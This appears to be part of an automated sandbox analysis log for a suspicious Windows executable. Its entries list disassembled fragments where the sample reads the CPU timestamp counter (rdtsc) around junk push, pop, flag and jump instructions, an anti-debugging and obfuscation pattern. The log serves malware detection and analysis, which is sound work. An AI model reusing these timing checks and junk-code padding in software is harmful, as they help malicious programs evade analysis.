Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F00CF second address: 51F00D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F00D5 second address: 51F00DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F00DB second address: 51F00DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F00DF second address: 51F00FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F00FA second address: 51F0100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F0100 second address: 51F0106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F0106 second address: 51F010A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F010A second address: 51F0156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F33B0B7C6D6h 0x00000012 sub al, 00000038h 0x00000015 jmp 00007F33B0B7C6CBh 0x0000001a popfd 0x0000001b call 00007F33B0B7C6D8h 0x00000020 pop ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F0156 second address: 51F015C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F015C second address: 51F0160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F0160 second address: 51F017C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, di 0x00000012 mov dx, 240Ch 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F017C second address: 51F0182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F0182 second address: 51F0186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51F0186 second address: 51F0226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F33B0B7C6CCh 0x00000015 adc si, CF58h 0x0000001a jmp 00007F33B0B7C6CBh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F33B0B7C6D8h 0x00000026 and al, FFFFFFB8h 0x00000029 jmp 00007F33B0B7C6CBh 0x0000002e popfd 0x0000002f popad 0x00000030 pushfd 0x00000031 jmp 00007F33B0B7C6D8h 0x00000036 sbb cx, 9418h 0x0000003b jmp 00007F33B0B7C6CBh 0x00000040 popfd 0x00000041 popad 0x00000042 pop ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F33B0B7C6D5h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52105A6 second address: 52105DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F33B10E1B0Ch 0x00000010 movzx esi, bx 0x00000013 pop ebx 0x00000014 mov di, si 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c mov edi, 433763A8h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52105DA second address: 5210637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushfd 0x00000008 jmp 00007F33B0B7C6CAh 0x0000000d adc esi, 16DF06D8h 0x00000013 jmp 00007F33B0B7C6CBh 0x00000018 popfd 0x00000019 pop ecx 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F33B0B7C6CFh 0x00000021 mov ebp, esp 0x00000023 jmp 00007F33B0B7C6D6h 0x00000028 xchg eax, ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F33B0B7C6CAh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5210637 second address: 521063D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 521063D second address: 521067E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F33B0B7C6CBh 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 mov edx, eax 0x00000013 mov si, B037h 0x00000017 popad 0x00000018 mov eax, dword ptr [76FB65FCh] 0x0000001d jmp 00007F33B0B7C6CAh 0x00000022 test eax, eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 movsx ebx, si 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 521067E second address: 5210684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5210684 second address: 5210688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5210688 second address: 52106B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F3422E04DC7h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ebx, 425C7BF6h 0x00000019 push edi 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52106B6 second address: 52106C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B0B7C6CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52106C9 second address: 52106CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52106CD second address: 52106FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a pushad 0x0000000b call 00007F33B0B7C6CBh 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 mov dx, 923Ah 0x00000017 popad 0x00000018 xor eax, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F33B0B7C6CDh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52106FD second address: 5210751 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F33B10E1B13h 0x00000015 adc si, 1BEEh 0x0000001a jmp 00007F33B10E1B19h 0x0000001f popfd 0x00000020 mov eax, 3BA7A377h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5210751 second address: 521076D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B0B7C6D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 521076D second address: 52107F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ror eax, cl 0x0000000a pushad 0x0000000b jmp 00007F33B10E1B0Dh 0x00000010 jmp 00007F33B10E1B10h 0x00000015 popad 0x00000016 leave 0x00000017 jmp 00007F33B10E1B10h 0x0000001c retn 0004h 0x0000001f nop 0x00000020 mov esi, eax 0x00000022 lea eax, dword ptr [ebp-08h] 0x00000025 xor esi, dword ptr [006E2014h] 0x0000002b push eax 0x0000002c push eax 0x0000002d push eax 0x0000002e lea eax, dword ptr [ebp-10h] 0x00000031 push eax 0x00000032 call 00007F33B5C521F0h 0x00000037 push FFFFFFFEh 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F33B10E1B0Eh 0x00000040 adc eax, 3AF1E358h 0x00000046 jmp 00007F33B10E1B0Bh 0x0000004b popfd 0x0000004c mov dl, cl 0x0000004e popad 0x0000004f pop eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 movzx ecx, dx 0x00000056 call 00007F33B10E1B19h 0x0000005b pop ecx 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52107F3 second address: 5210810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F33B56ECE05h 0x00000011 mov edi, edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov bl, 62h 0x00000018 mov dh, ch 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5210810 second address: 5210816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5210816 second address: 521081A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 521081A second address: 521081E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 521081E second address: 52108A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F33B0B7C6D4h 0x00000010 or ax, 09A8h 0x00000015 jmp 00007F33B0B7C6CBh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F33B0B7C6D8h 0x00000021 jmp 00007F33B0B7C6D5h 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 jmp 00007F33B0B7C6D1h 0x0000002e xchg eax, ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F33B0B7C6CDh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52108A0 second address: 52108ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 jmp 00007F33B10E1B13h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f jmp 00007F33B10E1B16h 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F33B10E1B17h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C005D second address: 51C0087 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, 272A6711h 0x0000000e popad 0x0000000f and esp, FFFFFFF8h 0x00000012 jmp 00007F33B0B7C6CCh 0x00000017 xchg eax, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0087 second address: 51C008B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C008B second address: 51C0091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0091 second address: 51C00DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, eax 0x0000000f pushfd 0x00000010 jmp 00007F33B10E1B18h 0x00000015 and esi, 113AE728h 0x0000001b jmp 00007F33B10E1B0Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C00DB second address: 51C0119 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, F5CAh 0x00000007 call 00007F33B0B7C6CBh 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ecx 0x00000011 jmp 00007F33B0B7C6CFh 0x00000016 xchg eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F33B0B7C6D5h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0119 second address: 51C011F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C011F second address: 51C0165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov esi, edx 0x0000000e pushfd 0x0000000f jmp 00007F33B0B7C6D7h 0x00000014 sub cx, 0BDEh 0x00000019 jmp 00007F33B0B7C6D9h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0165 second address: 51C0236 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F33B10E1B0Ch 0x00000011 add al, 00000008h 0x00000014 jmp 00007F33B10E1B0Bh 0x00000019 popfd 0x0000001a push ecx 0x0000001b pop edx 0x0000001c popad 0x0000001d mov ebx, dword ptr [ebp+10h] 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F33B10E1B0Ch 0x00000027 and ah, 00000068h 0x0000002a jmp 00007F33B10E1B0Bh 0x0000002f popfd 0x00000030 mov edx, ecx 0x00000032 popad 0x00000033 xchg eax, esi 0x00000034 pushad 0x00000035 mov esi, 2CBC8B57h 0x0000003a mov edx, ecx 0x0000003c popad 0x0000003d push eax 0x0000003e pushad 0x0000003f jmp 00007F33B10E1B0Fh 0x00000044 movzx ecx, di 0x00000047 popad 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a mov ecx, edx 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007F33B10E1B13h 0x00000053 xor ah, FFFFFFBEh 0x00000056 jmp 00007F33B10E1B19h 0x0000005b popfd 0x0000005c mov dx, cx 0x0000005f popad 0x00000060 popad 0x00000061 mov esi, dword ptr [ebp+08h] 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F33B10E1B19h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0236 second address: 51C023B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C023B second address: 51C024B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C024B second address: 51C0251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0251 second address: 51C0257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0257 second address: 51C025B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C025B second address: 51C0320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], edi 0x0000000e jmp 00007F33B10E1B10h 0x00000013 test esi, esi 0x00000015 jmp 00007F33B10E1B10h 0x0000001a je 00007F3422E4FE83h 0x00000020 jmp 00007F33B10E1B10h 0x00000025 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F33B10E1B0Eh 0x00000033 adc cl, 00000038h 0x00000036 jmp 00007F33B10E1B0Bh 0x0000003b popfd 0x0000003c movzx ecx, bx 0x0000003f popad 0x00000040 je 00007F3422E4FE59h 0x00000046 jmp 00007F33B10E1B0Bh 0x0000004b mov edx, dword ptr [esi+44h] 0x0000004e jmp 00007F33B10E1B16h 0x00000053 or edx, dword ptr [ebp+0Ch] 0x00000056 jmp 00007F33B10E1B10h 0x0000005b test edx, 61000000h 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 mov ebx, eax 0x00000066 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0320 second address: 51C037C instructions: 0x00000000 rdtsc 0x00000002 movzx eax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F33B0B7C6D5h 0x0000000d sbb ecx, 2AD93A96h 0x00000013 jmp 00007F33B0B7C6D1h 0x00000018 popfd 0x00000019 popad 0x0000001a jne 00007F34228EA9F8h 0x00000020 jmp 00007F33B0B7C6CEh 0x00000025 test byte ptr [esi+48h], 00000001h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F33B0B7C6CAh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C037C second address: 51C0380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0380 second address: 51C0386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0386 second address: 51C038C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C038C second address: 51C03B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F34228EA9BDh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C03B6 second address: 51C03D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C03D3 second address: 51C03E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B0B7C6CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C03E3 second address: 51C03E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C03E7 second address: 51C03FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test bl, 00000007h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F33B0B7C6CAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C03FE second address: 51C0404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0404 second address: 51C0408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B083D second address: 51B0841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0841 second address: 51B0847 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0847 second address: 51B0880 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F33B10E1B12h 0x00000008 pop ecx 0x00000009 mov dh, 60h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F33B10E1B0Ah 0x00000014 push eax 0x00000015 jmp 00007F33B10E1B0Bh 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0880 second address: 51B089B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B089B second address: 51B090B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F33B10E1B0Fh 0x00000009 xor si, AEEEh 0x0000000e jmp 00007F33B10E1B19h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b jmp 00007F33B10E1B0Ch 0x00000020 and esp, FFFFFFF8h 0x00000023 pushad 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F33B10E1B0Ch 0x0000002b sbb cx, 1998h 0x00000030 jmp 00007F33B10E1B0Bh 0x00000035 popfd 0x00000036 mov ebx, esi 0x00000038 popad 0x00000039 push eax 0x0000003a push edx 0x0000003b mov dx, si 0x0000003e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B090B second address: 51B094D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 jmp 00007F33B0B7C6D8h 0x0000000d push eax 0x0000000e pushad 0x0000000f mov si, bx 0x00000012 mov edx, 2520A740h 0x00000017 popad 0x00000018 xchg eax, ebx 0x00000019 jmp 00007F33B0B7C6CFh 0x0000001e xchg eax, esi 0x0000001f pushad 0x00000020 movzx ecx, di 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B094D second address: 51B09CB instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F33B10E1B14h 0x0000000e xchg eax, esi 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F33B10E1B0Eh 0x00000016 and cl, 00000018h 0x00000019 jmp 00007F33B10E1B0Bh 0x0000001e popfd 0x0000001f mov si, 6ACFh 0x00000023 popad 0x00000024 mov esi, dword ptr [ebp+08h] 0x00000027 pushad 0x00000028 mov ebx, eax 0x0000002a pushfd 0x0000002b jmp 00007F33B10E1B0Ch 0x00000030 sub esi, 6216CD78h 0x00000036 jmp 00007F33B10E1B0Bh 0x0000003b popfd 0x0000003c popad 0x0000003d sub ebx, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F33B10E1B12h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B09CB second address: 51B09DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B0B7C6CEh 0x00000009 rdtsc
